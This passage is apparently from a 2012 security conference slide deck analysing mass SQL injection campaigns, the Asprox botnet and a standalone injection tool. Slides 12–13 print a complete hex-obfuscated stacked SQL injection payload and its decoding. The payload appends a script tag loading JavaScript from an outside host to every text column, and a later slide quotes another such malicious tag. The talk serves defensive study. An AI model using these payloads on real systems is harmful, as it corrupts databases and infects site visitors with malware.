  • 12. Generic payload (obfuscated) GET /vuln.asp?param=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C40 4320564152434841522832353529204445434C415245205461626C655F43 7572736F7220435552534F5220464F522053454C45435420612E6E616D65 2C622E6E616D652046524F4D207379736F626A6563747320612C73797363 6F6C756D6E73206220574845524520612E69643D622E696420414E442061 2E78747970653D27752720414E442028622E78747970653D3939204F5220 ............................................................ 5845432827555044415445205B272B40542B275D20534554205B272B4043 2B275D3D525452494D28434F4E5645525428564152434841522834303030 292C5B272B40432B275D29292B27273C736372697074207372633D687474 703A2F2F7777772E63686B6164772E636F6D2F622E6A733E3C2F73637269 70743E27272729204645544348204E4558542046524F4D205461626C655F 437572736F7220494E544F2040542C404320454E4420434C4F5345205461 626C655F437572736F72204445414C4C4F43415445205461626C655F4375 72736F7220 AS VARCHAR(4000));EXEC(@S);-- FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 12
  • 13. Generic payload (decoded) DECLARE @t VARCHAR(255), @c VARCHAR(255) DECLARE table_cursor CURSOR FOR SELECT a.name, b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) /* NTEXT, TEXT, NVARCHAR, VARCHAR */ OPEN table_cursor FETCH NEXT FROM table_cursor INTO @t,@c WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@t+'] SET ['+@c+']=RTRIM(CONVERT(VARCHAR, ['+@c+']))+''<script src=http://www.attacker.com/malicious.js></script>''') FETCH NEXT FROM table_cursor INTO @t,@c END CLOSE table_cursor DEALLOCATE table_cursor FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 13
  • 14. Analysis (1)  Piggy backing (stacked) SQL injection  Obfuscated SQL code (hex encoded)  Decoded code dynamically executed with T- SQL EXEC command  Usage of cursor for update  Iterating over all tables / all text-like columns  Appending malicious content (e.g. <script src=...) to all matched column entries using UPDATE statement FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 14
  • 15. Analysis (2) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 15
  • 16. Analysis (3) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 16
  • 17. Example (1) - FAIL FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 17
  • 18. Example (2) - FAIL FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 18
  • 19. Example (3) - FAIL FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 19
  • 20. Example (4) – CLUSTER FAIL FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 20
  • 21. Example (5) - SUCCESS FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 21
  • 22. Example (6) - SUCCESS FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 22
  • 23. Asprox (1)  Spam botnet used for phishing scams (>10K bots)  Developed over years  Interesting update “msscntr32.exe” (SQL attack tool)  Google search for targets (e.g. inurl:".asp")  Launch SQL injection attacks against resulting pages FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 23
  • 24. Asprox (2) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 24
  • 25. CLI (1)  Standalone executable  Rare beast (Chinese underground forums?)  Google search for targets (e.g.: inurl:".asp" inurl:"a=")  Configurable malicious tag that will be inserted (originally <script src=http://www.2117966.net/fuckjp.js></s cript>)  Wild guess is that attackers are being paid for using the tool (backcall to *.cn/pay.asp? SN=...) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 25
  • 26. CLI (2) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 26
  • 27. Sample tool (1) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 27
  • 28. Sample tool (2) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 28
  • 29. Sample tool (3) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 29
  • 30. Sample tool (4) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 30
  • 31. Sample tool (5) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 31
  • 32. Sample run (1) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 32
  • 33. Sample run (2) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 33
  • 34. Sample run (3) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 34
  • 35. Sample run (4) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 35
  • 36. Sample run (5) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 36
  • 37. Sample run (6) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 37
  • 38. Sample run (7) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 38
  • 39. Sample run (8) FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 39
  • 40. Questions? FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 40